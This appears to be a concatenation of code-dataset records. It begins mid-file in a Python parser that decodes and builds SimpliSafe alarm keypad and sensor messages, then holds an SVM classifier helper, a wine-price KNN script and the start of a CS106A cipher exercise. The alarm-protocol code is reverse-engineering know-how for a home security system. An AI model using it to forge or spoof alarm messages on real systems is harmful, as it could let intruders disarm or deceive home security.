self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n for c in cls.__subclasses__():\n if msg.msg_type == c.msg_type and msg.info_type == c.info_type and msg.event_type == c.event_type:\n return c(msg.sn, msg.sequence, bs_sn)\n raise InvalidMessageBytesError\n\n\nclass AbstractBaseStationKeypadSimpleMenuMessage(BaseStationKeypadMessage, BaseStationKeypadSimpleMessageTrait, BaseStationKeypadMenuMessageTrait):\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.payload_body != cls.payload_body:\n raise InvalidMessageBytesError\n for c in cls.__subclasses__():\n if msg.msg_type == c.msg_type and msg.info_type == c.info_type and msg.event_type == c.event_type and msg.footer_body == c.footer_body:\n return c(msg.sn, msg.sequence)\n raise InvalidMessageBytesError\n\n\n#Level 4\nclass BaseStationKeypadTestModeOnResponse(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.TEST_MODE_ON_REQUEST\n\n\nclass BaseStationKeypadOffResponse(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.OFF_REQUEST\n\n\nclass BaseStationKeypadTestModeOffResponse(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.TEST_MODE_OFF_REQUEST\n\n\nclass BaseStationKeypadExitMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.EXIT_MENU_REQUEST\n\n\nclass BaseStationKeypadChangePinMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.CHANGE_PIN_MENU_REQUEST\n\n\nclass BaseStationKeypadChangePinConfirmMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.CHANGE_PIN_CONFIRM_MENU_REQUEST\n\n\nclass BaseStationKeypadChangePrefixMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.CHANGE_PREFIX_MENU_REQUEST\n\n\nclass BaseStationKeypadAddComponentMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.ADD_COMPONENT_MENU_REQUEST\n\n\nclass BaseStationKeypadAddComponentTypeMenuResponse(AbstractBaseStationKeypadSimpleMenuMessage, BaseStationKeypadResponseTrait):\n\n event_type = KeypadMessage.EventType.ADD_COMPONENT_TYPE_MENU_REQUEST\n\n\nclass BaseStationKeypadClearSensorError1Update(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.SENSOR_ERROR_1_UPDATE\n\n\nclass BaseStationKeypadClearSensorError2Update(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.SENSOR_ERROR_2_UPDATE\n\n\nclass BaseStationKeypadClearSensorError3Update(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.SENSOR_ERROR_3_UPDATE\n\n\nclass BaseStationKeypadClearSensorError4Update(AbstractBaseStationKeypadSimpleStatusMessage, BaseStationKeypadUpdateTrait):\n\n event_type = KeypadMessage.EventType.SENSOR_ERROR_4_UPDATE\n\n\n# Level 3\nclass AbstractBaseStationKeypadRemoveComponentScrollMenuResponse(BaseStationKeypadMessage, BaseStationKeypadResponseTrait, BaseStationKeypadMenuMessageTrait):\n\n plc = 0x66\n\n def __init__(self, kp_sn: str, sequence: int, c_sn: str, left_arrow: bool, right_arrow: bool):\n self.c_sn = c_sn\n self.left_arrow = left_arrow\n self.right_arrow = right_arrow\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Component Serial Number: \" + self.c_sn + \"\\n\"\n s += \"Left Arrow: \" + (\"Y\" if self.left_arrow else \"N\") + \"\\n\"\n s += \"Right Arrow: \" + (\"Y\" if self.right_arrow else \"N\") + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n (c_sn, left_arrow, right_arrow) = SerialNumberFormat.unpack(SerialNumberFormat.ASCII_4B5C, msg.payload_body)\n for c in cls.__subclasses__():\n if msg.event_type == c.event_type:\n return c(msg.sn, msg.sequence, c_sn, left_arrow, right_arrow)\n raise InvalidMessageBytesError\n\n @property\n def payload_body(self):\n payload_body = SerialNumberFormat.pack(SerialNumberFormat.ASCII_4B5C, self.c_sn, self.left_arrow, self.right_arrow)\n return payload_body\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\n# Level 4\nclass BaseStationKeypadRemoveEntrySensorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_ENTRY_SENSOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveMotionSensorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_MOTION_SENSOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemovePanicButtonScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_PANIC_BUTTON_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveKeypadScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_KEYPAD_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveKeychainRemoteScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_KEYCHAIN_REMOTE_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveGlassbreakSensorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_GLASSBREAK_SENSOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveSmokeDetectorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_SMOKE_DETECTOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveCoDetectorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_CO_DETECTOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveFreezeSensorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_FREEZE_SENSOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadRemoveWaterSensorScrollMenuResponse(AbstractBaseStationKeypadRemoveComponentScrollMenuResponse):\n\n event_type = KeypadMessage.EventType.REMOVE_WATER_SENSOR_SCROLL_MENU_REQUEST\n\n\nclass BaseStationKeypadInvalidDisarmPinResponse(BaseStationKeypadDisarmPinResponse):\n\n response_type = BaseStationKeypadDisarmPinResponse.ResponseType.INVALID\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n super().__init__(kp_sn, sequence, bs_sn, self.response_type)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadDisarmPinResponse):\n if msg.response_type != cls.response_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn)\n\n\nclass BaseStationKeypadValidDisarmPinResponse(BaseStationKeypadDisarmPinResponse):\n\n response_type = BaseStationKeypadDisarmPinResponse.ResponseType.VALID\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str):\n super().__init__(kp_sn, sequence, bs_sn, self.response_type)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadDisarmPinResponse):\n if msg.response_type != cls.response_type:\n raise InvalidMessageBytesError\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn)\n\n\nclass BaseStationKeypadInvalidMenuPinResponse(BaseStationKeypadMenuPinResponse):\n\n response_type = BaseStationKeypadMenuPinResponse.ResponseType.INVALID\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(kp_sn, sequence, self.response_type)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMenuPinResponse):\n if msg.response_type != cls.response_type:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\nclass BaseStationKeypadValidMenuPinResponse(BaseStationKeypadMenuPinResponse):\n\n response_type = BaseStationKeypadMenuPinResponse.ResponseType.VALID\n\n def __init__(self, kp_sn: str, sequence: int):\n super().__init__(kp_sn, sequence, self.response_type)\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMenuPinResponse):\n if msg.response_type != cls.response_type:\n raise InvalidMessageBytesError\n return cls(msg.sn, msg.sequence)\n\n\n# Level 3\nclass BaseStationKeypadEntrySensorUpdate(BaseStationKeypadMessage, BaseStationKeypadUpdateTrait, BaseStationKeypadStatusMessageTrait):\n\n event_type = KeypadMessage.EventType.ENTRY_SENSOR_UPDATE\n plc = 0x33\n\n class UpdateType(UniqueEnum):\n CLOSED = 0x00\n OPEN = 0x01\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, ese: 'BaseStationKeypadEntrySensorUpdate.UpdateType'):\n self.bs_sn = bs_sn\n self.ese = ese\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, self.event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Entry Sensor Event: \" + self.ese.__class__.key(self.ese) + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != cls.info_type:\n raise InvalidMessageBytesError\n if msg.event_type != cls.event_type:\n raise InvalidMessageBytesError\n ese = cls.UpdateType(msg.payload_body[0])\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, ese)\n\n @property\n def payload_body(self):\n return bytes([self.ese])\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\nclass BaseStationKeypadSensorErrorUpdate(BaseStationKeypadMessage, BaseStationKeypadUpdateTrait, BaseStationKeypadStatusMessageTrait):\n\n plc = 0x66\n\n def __init__(self, kp_sn: str, sequence: int, bs_sn: str, n: int, c_sn: str):\n self.bs_sn = bs_sn\n self.c_sn = c_sn\n if n == 0:\n event_type = KeypadMessage.EventType.SENSOR_ERROR_1_UPDATE\n elif n == 1:\n event_type = KeypadMessage.EventType.SENSOR_ERROR_2_UPDATE\n elif n == 2:\n event_type = KeypadMessage.EventType.SENSOR_ERROR_3_UPDATE\n elif n == 3:\n event_type = KeypadMessage.EventType.SENSOR_ERROR_4_UPDATE\n else:\n raise Exception(\"Only 4 Sensor Errors are supported.\")\n super().__init__(self.plc, kp_sn, sequence, self.msg_type, self.info_type, event_type, self.payload_body, self.footer_body)\n\n def __str__(self):\n s = super().__str__()\n s += \"Sensor Serial Number: \" + self.c_sn + \"\\n\"\n return s\n\n @classmethod\n def factory(cls, msg: BaseStationKeypadMessage):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n if msg.msg_type != cls.msg_type:\n raise InvalidMessageBytesError\n if msg.info_type != msg.info_type:\n raise InvalidMessageBytesError\n if msg.event_type == KeypadMessage.EventType.SENSOR_ERROR_1_UPDATE:\n n = 0\n elif msg.event_type == KeypadMessage.EventType.SENSOR_ERROR_2_UPDATE:\n n = 1\n elif msg.event_type == KeypadMessage.EventType.SENSOR_ERROR_3_UPDATE:\n n = 2\n elif msg.event_type == KeypadMessage.EventType.SENSOR_ERROR_4_UPDATE:\n n = 3\n else:\n raise InvalidMessageBytesError\n (c_sn, hb, lb) = SerialNumberFormat.unpack(SerialNumberFormat.ASCII_4B5C, msg.payload_body)\n bs_sn = SerialNumberFormat.unpack(SerialNumberFormat.HEX_5B6C, msg.footer_body)\n return cls(msg.sn, msg.sequence, bs_sn, n, c_sn)\n\n @property\n def payload_body(self):\n return SerialNumberFormat.pack(SerialNumberFormat.ASCII_4B5C, self.c_sn)\n\n @payload_body.setter\n def payload_body(self, value):\n if value != self.payload_body:\n raise ValueError\n\n\n# Level 3\nclass SensorMessage(ComponentMessage):\n\n footer = bytes()\n plc = 0x11\n\n class EventType(UniqueEnum):\n pass\n\n def __init__(self, sn: str, origin_type: Message.OriginType, sequence: int, event_type: 'SensorMessage.EventType'):\n self.origin_type = origin_type\n self.sequence = sequence\n self.event_type = event_type\n super().__init__(self.plc, sn, self.payload, self.footer)\n\n def __str__(self):\n r = super().__str__()\n r += \"Origin Type: \" + self.origin_type.__class__.key(self.origin_type) + \"\\n\"\n r += \"Event Type: \" + self.event_type.__class__.key(self.event_type) + \"\\n\"\n r += \"Sequence: 0x{:X}\".format(self.sequence) + \"\\n\"\n return r\n\n @classmethod\n def factory(cls, msg: ComponentMessage, recurse: bool=True):\n if msg.plc != cls.plc:\n raise InvalidMessageBytesError\n origin_type = cls.OriginType(msg.payload[0] & 0xF)\n sequence = msg.payload[0] >> 4\n event_type = msg.payload[1]\n msg = cls(msg.sn, origin_type, sequence, event_type)\n if recurse:\n for c in cls.__subclasses__():\n try:\n return c.factory(msg)\n except ValueError:\n pass\n raise NotImplementedError(\"Unimplemented SensorMessage, Serial Number: \" + msg.sn + \", Origin_Type: \" + origin_type.__class__.key(origin_type) + \", Origin: 0x{:X}, Seq: 0x{:X}, Event: 0x{:02X}\".format(origin_type, sequence, event_type))\n @property\n def payload(self):\n stuffed_byte = (self.sequence << 4) + self.origin_type\n return bytes([stuffed_byte, self.event_type])\n\n @payload.setter\n def payload(self, value):\n if value != self.payload:\n raise ValueError\n\n\n# Level 4\nclass KeychainRemoteMessage(SensorMessage):\n\n origin_type = Message.OriginType.KEYCHAIN_REMOTE\n\n class EventType(SensorMessage.EventType):\n PANIC = 0x01\n AWAY = 0x02\n OFF = 0x03\n\n def __init__(self, sn: str, sequence: int, event_type: 'KeychainRemoteMessage.EventType'):\n self.event_type = event_type\n super().__init__(sn, self.origin_type, sequence, event_type)\n\n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = KeychainRemoteMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n\n\nclass PanicButtonMessage(SensorMessage):\n\n origin_type = Message.OriginType.PANIC_BUTTON\n \n class EventType(SensorMessage.EventType):\n HEARTBEAT = 0x00\n BUTTON_PRESS = 0x01\n \n def __init__(self, sn: str, sequence: int, event_type: 'PanicButtonMessage.EventType'):\n self.eventType = event_type\n super().__init__(sn, self.origin_type, sequence, event_type)\n \n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = PanicButtonMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n\n \nclass MotionSensorMessage(SensorMessage):\n\n origin_type = Message.OriginType.MOTION_SENSOR\n\n class EventType(SensorMessage.EventType):\n HEARTBEAT = 0x00\n MOTION = 0x02\n\n def __init__(self, sn: str, sequence: int, event_type: 'MotionSensorMessage.EventType'):\n self.event_type = event_type\n super().__init__(sn, self.origin_type, sequence, event_type)\n\n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = MotionSensorMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n\n\nclass EntrySensorMessage(SensorMessage):\n\n origin_type = Message.OriginType.ENTRY_SENSOR\n\n class EventType(SensorMessage.EventType):\n OPEN\t= 0x01\n CLOSED\t= 0x02\n\n def __init__(self, sn: str, sequence: int, event_type: 'EntrySensorMessage.EventType'):\n self.event_type = EntrySensorMessage.EventType(event_type)\n super().__init__(sn, self.origin_type, sequence, event_type)\n\n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = EntrySensorMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n\n\nclass GlassbreakSensorMessage(SensorMessage):\n \n origin_type = Message.OriginType.GLASSBREAK_SENSOR\n \n class EventType(SensorMessage.EventType):\n HEARTBEAT = 0x00\n GLASSBREAK = 0x01\n GLASSBREAK_TEST = 0x03\n BATTERY_LOW = 0x80\n \n def __init__(self, sn: str, sequence: int, event_type: 'GlassbreakSensorMessage.EventType'):\n self.event_type = GlassbreakSensorMessage.EventType(event_type)\n super().__init__(sn, self.origin_type, sequence, event_type)\n \n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = GlassbreakSensorMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n\n\nclass SmokeDetectorMessage(SensorMessage):\n \n origin_type = Message.OriginType.SMOKE_DETECTOR\n \n class EventType(SensorMessage.EventType):\n HEARTBEAT = 0x00\n SMOKE = 0x03\n \n def __init__(self, sn: str, sequence: int, event_type: 'SmokeDetectorMessage.EventType'):\n self.event_type = SmokeDetectorMessage.EventType(event_type)\n super().__init__(sn, self.origin_type, sequence, event_type)\n \n @classmethod\n def factory(cls, msg: SensorMessage):\n if msg.origin_type != cls.origin_type:\n raise InvalidMessageBytesError\n event_type = SmokeDetectorMessage.EventType(msg.event_type)\n return cls(msg.sn, msg.sequence, event_type)\n","sub_path":"SimpliSafe.py","file_name":"SimpliSafe.py","file_ext":"py","file_size_in_byte":70258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"31769238","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os, sys\n# sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom csvApp import models as md\n\nfrom plotly.offline import plot\nimport plotly.graph_objs as go\n\ndef kernal_svm():\n\n # Importing the dataset\n\n temp_csv_file=os.getcwd() + \"\\\\temp_files\\\\tempcsv.csv\"\n dataset = pd.read_csv(temp_csv_file)\n\n var = md.dataFields.y_field\n print(var)\n\n # define X Y \n # Set the dependent variable array\n y=dataset[var].values\n\n xlist=[]\n\n for col in md.dataFields.x_fields:\n if not isinstance(dataset[col].values.tolist()[0],str) and col != var:\n xlist.append(col)\n\n X = dataset[xlist].values \n\n # add missing values\n from sklearn.impute import SimpleImputer\n imputer = SimpleImputer(missing_values = np.nan, strategy = 'most_frequent')\n\n imputer = imputer.fit(X)\n X = imputer.transform(X)\n\n # Split the train and test data\n\n from sklearn.model_selection import train_test_split\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)\n\n # If Required apply feature scaling\n # Feature Scaling\n from sklearn.preprocessing import StandardScaler\n sc_X = StandardScaler()\n X_train = sc_X.fit_transform(X_train)\n X_test = sc_X.transform(X_test)\n\n # Define the function\n from sklearn.svm import SVC\n classifier = SVC(kernel = 'rbf', random_state=0, degree = 4)\n classifier.fit(X_train, y_train)\n\n # Apply regression model \n y_pred = classifier.predict(X_test)\n\n # Calculate the Confusion matrix\n from sklearn.metrics import confusion_matrix\n cm = confusion_matrix(y_test, y_pred)\n\n return_dic = {'cm': cm} \n\n return return_dic\n\n\n## Function to print the Graph ##\ndef Kernal_SVM_graph(request):\n\n pred_values = kernal_svm()\n\n print(\" Inside Kernal_SVM_graph\")\n\n cm = pred_values['cm']\n\n cm1 = cm[0,0]\n cm2 = cm[0,1]\n cm3 = cm[1,0]\n cm4 = cm[1,1]\n \n\n context = {\n 'modelType' : md.dataFields.modelType,\n 'modelName' : md.dataFields.modelName,\n 'cm1' : cm1,\n 'cm2' : cm2,\n 'cm3' : cm3,\n 'cm4' : cm4,\n\n }\n return context\n","sub_path":"static/scripts/classification/kernal_svm.py","file_name":"kernal_svm.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"352750868","text":"import math\nimport random\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef wine_price(rating, age):\n peak_age = rating - 50\n\n # Calculate price based on rating\n price = rating / 2\n if age > peak_age:\n # Past its peak, goes bad in 10 years\n price = price * (5 - (age - peak_age) / 2)\n else:\n # Increases to 5x original value as it approaches its peak\n price = price * (5 * ((age + 1) / peak_age))\n\n return price if price > 0 else 0\n\n\ndef wine_set1():\n rows = []\n for _ in range(300):\n # Create a random age and rating\n rating = random.random() * 50 + 50\n age = random.random() * 50\n\n # Get reference price\n price = wine_price(rating, age)\n\n # Add some noise\n price *= (random.random() * 0.05 + 0.9)\n\n # Add to the data set\n rows.append({'input': (rating, age), 'result': price})\n return rows\n\n\ndef wine_set2():\n rows = []\n for i in range(300):\n rating = random.random() * 50 + 50\n age = random.random() * 50\n aisle = random.randint(1, 20)\n bottle_size = [375.0, 750.0, 1500.0][random.randint(0, 2)]\n price = wine_price(rating, age)\n price *= (bottle_size / 750)\n price *= (random.random() * 0.2 + 0.9)\n rows.append({'input': (rating, age, aisle, bottle_size), 'result': price})\n return rows\n\n\ndef wine_set3():\n rows = wine_set1()\n for row in rows:\n if random.random() < 0.5:\n # Wine was bought at a discount store\n row['result'] *= 0.4\n return rows\n\n\ndef scale_data(data, scale):\n scaled_data = []\n for row in data:\n scaled = [s * row['input'][i] for i, s in enumerate(scale)]\n scaled_data.append({'input': scaled, 'result': row['result']})\n return scaled_data\n\n\ndef divide_data(data, test_ratio=0.05):\n train_set = []\n test_set = []\n for row in data:\n if random.random() < test_ratio:\n test_set.append(row)\n else:\n train_set.append(row)\n return train_set, test_set\n\n\ndef test_algorithm(algorithm_func, train_set, test_set):\n error = 0.0\n for row in test_set:\n guess = algorithm_func(train_set, row['input'])\n error += (row['result'] - guess) ** 2\n return error / len(test_set)\n\n\ndef cross_validate(algorithm_func, data, trials=100, test_ratio=0.05):\n error = 0.0\n for i in range(trials):\n train_set, test_set = divide_data(data, test_ratio)\n error += test_algorithm(algorithm_func, train_set, test_set)\n return error / trials\n\n\ndef euclidean(v1, v2):\n return math.sqrt(sum([(v1[i] - v2[i]) ** 2 for i in range(len(v1))]))\n\n\ndef get_distances(data, v):\n return sorted([(euclidean(d['input'], v), i) for i, d in enumerate(data)])\n\n\ndef k_nearest_neighbor(data, v, k=5):\n # Get sorted distances\n distances = get_distances(data, v)\n return np.mean([data[i]['result'] for _, i in distances[0:5]])\n\n\ndef gaussian(dist, sigma=5.0):\n return math.e ** (-dist ** 2 / (2 * sigma ** 2))\n\n\ndef weighted_k_nearest_neighbor(data, v, k=5, weight_func=gaussian):\n # Get distances\n distances = get_distances(data, v)\n\n total_price = 0.0\n total_weight = 0.0\n\n # Get weighted average\n for price, weight in [(data[i]['result'], weight_func(d)) for d, i in distances[0:5]]:\n total_price += weight * price\n total_weight += weight\n return total_price / total_weight if total_weight != 0 else 0\n\n\ndef genetic_optimize(domain, cost_func, population_size=50, mutation_probability=0.2, elite_ratio=0.2,\n max_generation=50):\n def create_random_solution():\n return [random.randint(lower, upper) for lower, upper in domain]\n\n # Mutation Operation\n def mutate(r):\n i = random.randint(0, len(domain) - 1)\n if random.random() < 0.5:\n ri = r[i] - 1\n else:\n ri = r[i] + 1\n return r[0:i] + [ri] + r[i + 1:] if domain[i][0] <= ri <= domain[i][0] else r\n\n # Crossover Operation\n def cross_over(r1, r2):\n i = random.randint(1, len(domain) - 2)\n return r1[0:i] + r2[i:]\n\n # How many winners from each generation?\n top_elite = int(elite_ratio * population_size)\n # Build the initial population\n population = [create_random_solution() for _ in range(top_elite)]\n scores = [(cost_func(solution), solution) for solution in population]\n\n # Main loop\n for _ in range(max_generation):\n # Add mutated and bred forms of the winners\n while len(scores) < population_size:\n if random.random() < mutation_probability:\n # Mutation\n mutated_solution = mutate(random.choice(scores)[1])\n scores.append((cost_func(mutated_solution), mutated_solution))\n else:\n # Crossover\n t1, t2 = random.sample(scores, 2)\n crossed_solution = cross_over(t1[1], t2[1])\n scores.append((cost_func(crossed_solution), crossed_solution))\n scores = sorted(scores)[0:top_elite]\n\n return scores[0][1], scores[0][0]\n\n\ndef create_cost_func(algorithm_func, data):\n def cost_func(scale):\n return cross_validate(algorithm_func, scale_data(data, scale), trials=20)\n\n return cost_func\n\n\ndef guessed_probability(data, v, low, high, k=5, weighted_func=gaussian, sigma=5.0):\n distances = get_distances(data, v)\n range_weight = 0.0\n total_weight = 0.0\n\n for d, i in distances[0:k]:\n weight = weighted_func(d)\n v = data[i]['result']\n\n # Is this point in the range?\n if low <= v <= high:\n range_weight += weight\n total_weight += weight\n if total_weight == 0:\n return 0\n\n # The probability is the weights in the range divided by all the weights\n return range_weight / total_weight\n\n\ndef draw_probability_graph(data, v, high, k=3, weighted_func=gaussian, sigma=5.0):\n range = np.arange(0.0, high, 0.1)\n # Get the probabilities for the entire range\n probabilities = [guessed_probability(data, v, r, r + 0.1, k, weighted_func, sigma) for r in range]\n\n # Smooth them by adding the gaussian of the nearby probabilities\n smoothed = []\n for i, pi in enumerate(probabilities):\n smoothed_value = 0.0\n for j, pj in enumerate(probabilities):\n distance = abs(i - j) * 0.1\n weight = gaussian(distance, sigma=sigma)\n smoothed_value += weight * probabilities[j]\n smoothed.append(smoothed_value)\n # smoothed = array(smoothed)\n\n plt.plot(range, smoothed)\n plt.title('Probability of price.')\n plt.legend()\n plt.show()\n\n\nset1 = wine_set1()\nprice = k_nearest_neighbor(set1, (99, 5))\nprint('(99, 5) KNN price: ', price)\n\nprice = weighted_k_nearest_neighbor(set1, (99, 5))\nprint('(99, 5) weighted KNN price: ', price)\n\ntrain_set, test_set = divide_data(set1)\nprint('KNN', cross_validate(k_nearest_neighbor, set1))\nprint('Weighted KNN', cross_validate(weighted_k_nearest_neighbor, set1))\n\nset2 = wine_set2()\ntrain_set, test_set = divide_data(set2)\nprint('KNN', cross_validate(k_nearest_neighbor, set2))\nprint('Weighted KNN', cross_validate(weighted_k_nearest_neighbor, set2))\n\nscaled_set = scale_data(set2, [1, 1, 0, .05])\ntrain_set, test_set = divide_data(set2)\nprint('KNN with scaled data', cross_validate(k_nearest_neighbor, set2))\nprint('Weighted KNN with scaled data', cross_validate(weighted_k_nearest_neighbor, set2))\n\ncost_func = create_cost_func(weighted_k_nearest_neighbor, set2)\nbest_scale, _ = genetic_optimize([(0, 10)] * 4, cost_func)\nprint(best_scale)\nscaled_set = scale_data(set2, best_scale)\nprint('KNN with optimized scaled data', cross_validate(k_nearest_neighbor, set2))\nprint('Weighted KNN with optimized scaled data', cross_validate(weighted_k_nearest_neighbor, set2))\n\ndraw_probability_graph(wine_set3(), (99, 5), 60)\n","sub_path":"Python/ProgrammingCollectiveIntelligence/BuildingPriceModels/numberpredict.py","file_name":"numberpredict.py","file_ext":"py","file_size_in_byte":7871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"458968960","text":"#!/usr/bin/env python3\n\n\"\"\"\nStanford CS106A Crypto Project\n\"\"\"\n\nimport sys\n\n# provided ALPHABET constant - list of the regular alphabet\n# in lowercase. Refer to this simply as ALPHABET in your code.\n# This list should not be modified.\nALPHABET = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n\n\ndef key_slug(key):\n \"\"\"\n Given a key string, return the len-26 slug list for it.\n >>> key_slug('z')\n ['z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y']\n >>> key_slug('Bananas!')\n ['b', 'a', 'n', 's', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'o', 'p', 'q', 'r', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n >>> key_slug('Life, Liberty, and')\n ['l', 'i', 'f', 'e', 'b', 'r', 't', 'y', 'a', 'n', 'd', 'c', 'g', 'h', 'j', 'k', 'm', 'o', 'p', 'q', 's', 'u', 'v', 'w', 'x', 'z']\n >>> key_slug('Zounds!')\n ['z', 'o', 'u', 'n', 'd', 's', 'a', 'b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 